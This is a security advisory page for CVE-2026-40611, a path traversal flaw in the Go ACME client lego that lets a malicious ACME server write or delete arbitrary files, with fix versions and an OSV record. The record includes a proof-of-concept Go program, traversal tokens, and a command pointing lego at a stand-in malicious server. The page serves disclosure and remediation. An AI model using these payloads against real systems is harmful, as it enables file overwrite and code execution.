CVE-2026-40611: ACME Lego Path Traversal Vulnerability
HIGHCVE-2026-40611 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting ACME Lego libraries in the Go ecosystem. The issue involves arbitrary file write via path traversal in webroot http-01 provider. Remediation is available by upgrading affected packages to version 4.34.0.
CVE-2026-40611 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-40611
To remediate this vulnerability, upgrade all affected ACME Lego dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/go-acme/lego/v4 to 4.34.0
Upgrade github.com/go-acme/lego/v3 to Latest secure release
Upgrade github.com/go-acme/lego to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/go-acme/lego/v4
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40611, inspect your project dependencies for ACME Lego:
inspect dependencies for github.com/go-acme/lego/v4
Analyze the terminal output to locate any version of ACME Lego in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.34.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In ACME Lego, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40611 Affected ACME Lego Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/go-acme/lego/v4
|
Go |
< 4.34.0
|
4.34.0
|
|
github.com/go-acme/lego/v3
|
Go |
≤ 3.9.0
|
|
|
github.com/go-acme/lego
|
Go |
≤ 2.7.2
|
|
References
Frequently Asked Questions
What is CVE-2026-40611?
Which ACME Lego versions are affected?
What version fixes CVE-2026-40611?
Is github.com/go-acme/lego/v4 affected?
Is github.com/go-acme/lego/v3 affected?
What is the CVSS score of CVE-2026-40611?
What CWE is associated with CVE-2026-40611?
How can I check Go dependencies for CVE-2026-40611?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qqx8-2xmm-jrv8",
"modified" : "2026-04-27T16:16:11Z",
"published" : "2026-04-16T21:28:55Z",
"aliases" : [ "CVE-2026-40611" ],
"summary" : "ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider",
"details" : "### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n --http --http.webroot /var/www/html \\\n --email user@example.com \\\n --domains example.com \\\n run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go && ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/go-acme/lego/v4"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.34.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/go-acme/lego/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "3.9.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/go-acme/lego"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.7.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40611"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-acme/lego"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T21:28:55Z",
"nvd_published_at" : "2026-04-21T18:16:52Z"
}
}